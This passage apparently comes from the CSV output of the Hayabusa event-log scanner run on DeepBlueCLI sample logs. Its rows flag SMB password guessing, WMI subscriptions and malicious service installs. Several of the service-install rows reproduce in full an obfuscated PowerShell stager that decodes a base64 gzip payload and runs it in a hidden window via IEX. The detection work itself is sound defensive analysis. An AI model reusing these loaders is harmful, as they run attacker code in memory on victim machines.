Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XreSLg472qhJw0R3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.208 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.266 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KIJcQJKLmnjrE2T9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.266 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zlddo3GCTEIkFyi9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.309 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hxiZoB5mHR2tGUFM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.359 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.399 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fpEbpiox2Q3Qf8av : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.399 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 05:36:09.147 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: zIGuwymOgHZnXZPm : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIADhM4FcCA7VWbW/aSBD+nEr9D1aFhK0QbAhtmkiVbm1ew0sABwhQVG3stVlYex17zVuv//3GgBt6Te7ak85KxK5nZvfZZ57ZsRP7lqDcl4K7JpK+vn1z1sUh9iQ54w7q7PbLIidl1p62iJWzMzBm5pVF8XZXiQfSJ0meoiAocw9Tf3ZzY8RhSHxxmOdrRKAoIt4joySSFelPaTQnIbm4e1wQS0hfpcyXfI3xR8yOblsDW3MiXSDfTmwtbuEEV94MGBVy9vPnrDK9KMzylacYs0jOmttIEC9vM5ZVpG9KsuH9NiBytk2tkEfcEfkR9S+L+YEfYYd0YLUVaRMx53aUVeAo8BcSEYe+9HyoZJWDj5yFYTfkFrLtkEQQkm/4K74kcsaPGctJf8jTI4R+7AvqEbALEvLAJOGKWiTK17FvM9InzkzukHV68l8Nkk+DwKsrQiUHaXkNa5vbMSOH8KzyM9o0nwo833MKPHx7++btGydVAQ4871QFMDqb7scEcMpdHtG93ydJy0lt2AwLHm5hmrkPY6LMpGmShOlsJmWCUjv3engh9QVPYneDDbybDjm1ZxBzTE/maT4ePyyjxPS60srEoT4pb33sUSsVk/wS5cRhZH/MfOrWAWBy9mggdpkw4mKR8JeTpj+HVTwqvsfqMWU2CZEFaYsAFWRU+RHMISVytuG3iQc0HeZZYN8BCZPU+yjbbbp7MgenrMFwFOWkbgw1ZOUkk2BG7JyE/IgeTSgWfD/MPsNtx0xQC0ciXW6mnFB53NLgfiTC2ILkwfHvzYBYFLOEjZxUpzbRtyZ1062zL3JhYMao78JKK8gFvEk4MEUiiRBQJulX8iYRDS9gxAOXfTlXGXaheI/q30sIu8TOvoAx1fZByAkhKRMnCCHLJuMiJw1pKOBiSMjdy+k/ITi5ElIsRkiOKZHTYpnqW5FIPLPQ2h+HYb9hrC4TiR452jMSCmCjGnJPxxH5UDJFCFzJ79Q7aiB4xg2ftS19SQtoTQuNNvwP6GWDl6/s5u2iroblzdxBjajRrnfLvXq9tLo1hyVhVhqi2W2IduVhsTBRvT8Yi0kD1e+pthyXdsEt3ZktZI836oedvltr+ma3cG1nXHYc98ox+4X3VdoaGT1dK+JWuRK3Rvpa10pRha7rPTroLW+r4nE8ZHjgqO5D4RrTTStcDAu8vWsgVJtfWrtbZ1ibt+3tuK5ej0pLVEHI8CvDqs6bYz1EXXWI3SFfNxc1NnINpI/OKZn0BlW916vqaFBbPJWvVRdiH/BcHw2LdBI89OcwrwKEpqqVGjbZ8XEPSKpxhN0++LhG0Zo74FM+R/p5h0dFvNQ50sGnOnkCXOOg2mVgvx8UORqyzgNGrcm2qqqFcbeE6hod1VyULIldvYdRtCrvymphaHN79L4zdtThA7tSy8Z9YDmqqq7r5aY1KWw+3l2VdO3J8KjHHou2ej34qPvrpttduXZvdNXfdLaPsN9AVYfvEvWAfDIu89Zm9f7uy3ZyIonXLvs2DqM5ZiAVuMDTeq3ysHq8jrucJhGyvG/OSxL6hEFHg56X6h0xxq2kL+wvbuhJh04xg5IdwPCy+OJIkb47Ks+tIn11czMBlFBAJ/rOt4jvinlO21xqGlz92qakwZl//YAGD7by6Yq5pIOc8vW3Ddl+QyUpuExgfcBGfL34fyk9lvocfux/o/T53T9Yf4lmLfcDCT9Zf3zxW5z/NgMjTAV4mnBXMXJoni8TcZTRyWdGmiJQiHN8ko++u1hcdOAL5C8TptLHZwoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:36:09.147 +09:00,IE10Win7,7045,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:36:09.237 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:36:09.334 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:36:10.592 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:38:04.034 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: DrzkXznQhkKgYssd : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAKtM4FcCA71WbW/aSBD+3Er9D1aFhK0SDIQmTaRKt8YYCC8BHMxb0Wljr+2FxUvsdXjp9b/fGHBCrs0p1w9nJWLXM7P77DPP7NiNA1tQHkjr7Xy3qDfHSPr+4f27Lg7xUpIzD3VrxLSclFkX726swVp59w6sGda0R60/g60ufZXkKVqtdL7ENJhdX1fiMCSBOMzzNSJQFJHlPaMkkhXpL2nok5Cc3d7PiS2k71Lmz3yN8XvMjm7bCrZ9Ip2hwElsLW7jBF3eXDEq5Oy3b1llelac5asPMWaRnDW3kSDLvMNYVpF+KMmGd9sVkbNtaoc84q7ID2lwXsoPggi7pAOrPZI2ET53oqwCR4G/kIg4DKTnQyWrHHzkLAy7IbeR44QkgpB8I3jkCyJngpixnPSHPD1C6MeBoEsCdkFCvjJJ+EhtEuXrOHAY6RN3JnfIOj35W4Pk0yDw6opQyUFeXsPa5k7MyCE8q/yM9phQBZ6TpAIRPz68//DeTcUQ+3HR76L+qRZg9G66HxMAK3d5RPe+X6VCTmrDjljwcAvTzF0YE2UmTZNMTGczKYMnZu718GLqC56udlmDV1OLU2cGIccUZSK/tlt8CTbuTTUxv644nbg0IPo2wEtqp6KSf0U9cRnZnzafunUAm5w9GoijE0Y8LBIec9L057DqkoqnWC2mzCEhsiF9EaCCzCovwRxSI2cbQZssganDPAtpcEHKJPU+yneb7p7MwSlbYTiKclI3hlqyc5JJMCNOTkJBRI8mFAu+H2af4bZjJqiNI5EuN1P+Qedx2woPIhHGNuQQKLgzV8SmmCWM5KQ6dYi2NamXbp/9JR8VzBgNPFjpEfIBbxIeTJEoIwSkiQqUvElEY7liZAku+9I2GPagkI+VsFcS9oiTfQVnqvWDsBNiUkZOUEK2TcZFTrJoKOCi2JMMyvotECc3xCmcSkiO2ZHT8plqW5EIPvNwEbkjY3PbTbR6JGpPSyiAEiPkSw1H5KJsihAIkz+qt7SC4Bk3Ata2tQUtojUtNtrwP6DnDa5fOs2beV0N9Y3vokbUaNe7eq9eLz/emFZZmNWGaHYbol0dzecmqvcHYzFpoPodLSzG5d3qhu7MFnLGG/Vip+3WBW2zm3uOO9Zd17t0zX7xs0Fbw0pPK5RwS6/GraG21grlqErX9R4d9BY3hrgfWwwPXNUbFa8w3bTCuVXk7V0DoZp/bu9uXKvmt53tuK5eDcsLVEWoElQtQ+PNsRairmphz+Lr5rzGhl4FaYZNyaQ3MLRez9DQoDZ/0K9UD2JH2NeGVolOVqO+D3MDIDTVQrnhkB0f94CkGkfY64OPVynZvgs++iekferwqIQXGkca+BiTB8A1XhldBva7QYkji3VGGLUmW0NVi+NuGdULdFjzULIk9rQeRtGjvtPVouVwZ/i5M3ZVuCkvVb1yt7JdVVXXdb1pT4qbL7eXZa3wUFnSJbsvOerV4IsWrJte99FzesPL/qazvYf9BqpqfUz0AwLKiF2r3LjCV1E1PJHEa7d/G4eRjxlIBW70tHANHhrH67nLaRIhy889e0HCgDDoc9AJU9UjxriddIun2xy61aGHzKCABzA8L/1ypEhPjspzE0lfXV9PAC7U0pPM8y0SeMLPFTbnhQJ0g8KmXICjv/2cFb7ays/r5ZKWckrai83YfjMlqbgM3/Xsi0t+rv8PtB4r3ocf5y20Pr/7F+ubqC7kXpDxk/Xli//E/O9RMcRUgLsJtxcjh776OiNHTZ18jTxlDRTjHp/k4/A2Fmcd+FL5G8KtLTuVCgAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:38:04.034 +09:00,IE10Win7,7045,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:38:04.041 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:38:04.087 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:38:04.643 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:59:41.659 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: TDhDnlnsrKrQVnjY : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIALxR4FcCA7VWf2/aSBD9O5X6HawKCVslGAhpmkiVbo0xEDABHCCGotPGXpuFxUvs5Wev3/3GYDdUTar0pLMSseuZ2X375s2OvVXgCMoDaYltQ/r2/t1ZB4d4IckZl667NmZ2Tsp4wa7aLClnZ2DOrM1OoNXYcqTXpC+SPEbLpc4XmAaTm5vKKgxJII7zfI0IFEVk8cgoiWRF+kcaTklIzu8eZ8QR0jcp83e+xvgjZonbroKdKZHOUeDGthZ3cIwtby0ZFXL269esMj4vTvLVpxVmkZy1dpEgi7zLWFaRvivxhve7JZGzJnVCHnFP5Ic0uCjl+0GEPdKG1dbEJGLK3SirwGHgLyRiFQbS6bHidY5echaGnZA7yHVDEkFQvhGs+ZzImWDFWE76Sx4nIHqrQNAFAbsgIV9aJFxTh0T5Og5cRnrEm8htsknP/tYg+TQIvDoiVHKQnNfRmtxdMXJcIKv8ivdHXhV4nnMLbHx//+79Oy/VQ3TZs4K/69v1qShgdDY+jAkAljs8ogfnL1IhJ5mwJxY83ME0cx+uiDKRxnE+xpOJlGHuZTn3enwxdQbXPbl4uIR34wGn7gRiklRlvO4wWG/KmMbG13WnE48GRN8FeEGdVFryS/QTj5HDcfOpWxugydnEQFydMOJjETOZk8a/hlUXVPyI1VaUuSREDqQwAlSQXeVnMMfkyNlGYJIFMHWcZ+M0gKBJ6p2IeJfuHs/BKVthOIpyUmcFFeXkJItgRtychIKIJia0EvwwzD7DNVdMUAdHIl1uovxEZrJphQeRCFcOZBAIuLeWxKGYxXzkpDp1ibazqJ9unn2RjQpmjAY+rLSGbMCbmAVLxLoIAedBA0reIqKxWDKyAJ9DfRsM+1DNSTEchIR94mZfhJlK/ajrmJWUjhOQkGqLcZGTBjQUcFfEDB9U9d9AnFwTz3AqIUlSI6fFM9Z2IlZ7ZtrdOsOeE8s0YenASSiADyPkCw1H5FPZEiGwJX9Q72gFwWM3AmY62pwW0YYWGyb89+lFg+tXbvN2VldDfTv1UCNqmPWO3q3Xy+tba1AWVrUhmp2GMKsPs5mF6r2+LUYNVL+nhbld3i9v6d5qIdfeqp/22n5T0Lb7me96tu55/pVn9YqXBm0NK12tUMItvbpqDbWNVihHVbqpd2m/O781xKM9YLjvqf5D8RrTbSucDYrc3DcQqk0vnP2tN6hNTXdn19XrYXmOqghVgurA0HjT1kLUUQfYH/BNc1ZjQ7+CNMOhZNTtG1q3a2ioX5s96deqD7EPeKoNByU6Wj70pjA3AEJTLZQbLtlzuwsk1TjCfg98/ErJmXrgo39E2sc2j0p4rnGkgY8xegJc9tLoMLDf90scDVj7AaPWaGeoatHulFG9QIc1H8VLYl/rYhSt9b2uFgcud4eXbdtTBw/sStUr90vHU1V1U9ebzqi4/Xx3VdYKT5UFXbDHkqte9z9rwabpd9a+2x1e9bbt3SPs11fVwYdYOyCezGJ2vTSvTtTw2r1v4jCaYgYqgZs8LVeDh0ZyK3c4jSNk+dCt5yQMCIP2Bg0wVTpijDtxi3i+v6FHHTvHBIq2D8OL0osjRfrhqDw3jvTVzc0IoEL9JNrOt0jgi2musL0oFOD2L2zLBTjv209Y4cudnK6WixtIwtPJHuywhxLXVsaf96In1Pp/WUyKego/7ptYfH73G+ubmC3k0vP/Yvj5xR+x/McMDDEV4GnBzcTIsV3+hohEOSffGUmaQBde8sQffncrcd6GL5B/AQG25GNvCgAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:59:41.659 +09:00,IE10Win7,7045,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:59:41.676 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:59:41.680 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 05:59:41.854 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 06:23:37.125 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: aCshIvAdgRYNApEv : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAFhX4FcCA71WbW/aSBD+nEr9D1aFhK06GAgpTaRKZwMGEkwAB/NWVG3stVlYvMRe89brf78x2Alpm1PuTjoL5N2dmZ3ZZ57ZsRv5NifMF8JS5PbH1o4I39+/O+ugAC0FMbMqtL2NLGR2YRiRzXLtDD3p7AwUMkHppjMozUbl/lr4IogTdbWqsiUi/vT6uhIFAfb5cZ6rY66GIV4+UIJDURL+FAYzHODzu4c5trnwXch8y9Upe0A0UdtVkD3DwrnqO7GsxWwUh5gzV5RwMfv1a1aanBemudpjhGgoZs1dyPEy51CalYQfUuzwfrfCYtYgdsBC5vLcgPgXxVzfD5GL27DbGhuYz5gTZiU4DPwCzKPAF06PFe9z1BKzMOwEzFYdJ8AhGOWa/potsJjxI0pl4Q9xkgTRi3xOlhjkHAdsZeJgTWwc5hrIdyjuYXcqtvEmPftbjcRTI9Dq8ECSIT2vR2swJ6L4uEFW+jXeY2YleH7KLuDx4/279+/clBjOPuw442HxlBcwOpscxhgiFjssJAfdL0JeFgxwijgLdjDN3AcRlqbCJE7IZDoFX/rF2Kk5V/pwKb++TSG1AQu/uPs8tIdG+I2CZGIx4kzBMklcZlbuGfH66wSsYpf4uLrz0ZLYKcfE3+UBuxQfTp1L1doQm5hNBNipYoo9xGNIZWHyq1ltSfiTrRYR6uBAtSGXIUQFaZZeBnPMkpht+gZeAmLHeRZS4gKzcaqdsHmXeo/noJStUBSGstCJoLRsWTAxotiRBdUPSSJSI84Ow+xzuEZEObFRyNPtplKKY+KvwvyQB5ENSYSz35srbBNEYyhkoUEcrO1M4qV+s78FooIoJb4HO60hEbASA2DymBqBI7+ggZQzMW8uVxQvQfVQ6jpFHhR2UhcHSiEPO9mfA00Jf2R3DEmKxUmYkGeTMi4LFgk43BgxvCec+k/BnNwch7AqAU7yI6aFNNF2PKZ+Jrpc9Kxi+T4mawLYAZ6AAzR6wJYaCvGnkskDAE78oNyRigrPqOlTw9YWpKBuSKFpwL9PLpqsWnZub+YNJahuZ67aDJtGo1PtNhql9Y1plbhZa/LbTpMbteF8bqqNXn/Ex021cU/yi1Fpv7ohe7OlOqOt8mmv7Td5bbufe447qrquV3bNXuFSJ61Bpavli6hVrUWtgbbR8qWwRjaNLul3Fzc6fxhZFPVdxRsWrhDZtoK5VWDGvqmq9dmFvb9xrfrMcHajhnI1KC3UmqpW/Jqla+x2pAVqR7GQZ7HN7bxOB15F1XSb4HG3r2vdrq6p/fr8sXqleGA7RDNtYBXJeDXszWCuQwi3Sr7UdPCejboAUp2pyOuBjlcp2jMXdKofVe1jm4VFtNCYqoGOPn6EuEYrvUNBft8vMtWi7SFSW+OdriiFUaekNvJkUPfUeEvkaV2khuvqvqoULIc5g8v2yFWsIS0r1cr9ynYVRdk0qrf2uLD9fFcuafnHypIs6UPRUa76nzV/c+t11p7THZR72/buAfz1FcX6EPMGiJPxN4WCfdcr07vo4oQTrzUDAwXhDFHgClzvaenqLNCTi7rDSGwhis+dfIEDH1NofNAaU/arlDI7bh5P9zo0r2NLmUIl92F4UfztSBKeFKXnjpIuXV+PIVwoppTmuRb2PT6T89uLfB7aQn5bysPR337MClvtxKft5Li1vMDs1Bc9+JLiess8eI+PtUrzf4A0qfYZvJy3QPq89jfSN8Gcl19C8Yv45cI/wv3fYTFAhIO6CXcXxce2+jokCaFOvkuSpAFb3OSJPxTvIn7ehi+WvwCZDrcJpgoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 06:23:37.125 +09:00,IE10Win7,7045,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 06:23:37.132 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 06:23:37.135 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 06:23:37.348 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 07:30:41.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 07:30:41.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 09:11:22.985 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:11:22.985 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:11:52.496 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:11:52.496 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:14:19.540 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:14:19.540 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:20:41.106 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:20:41.106 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:20:56.173 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:20:56.173 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 12:38:31.282 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 12:38:31.282 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 21:48:41.553 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 21:48:41.553 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:07:21.937 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:07:43.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 22:07:44.086 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:07:44.086 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:09:46.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 22:09:46.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 22:11:15.816 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:11:15.816 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:11:15.816 +09:00,IE10Win7,19,high,WMI 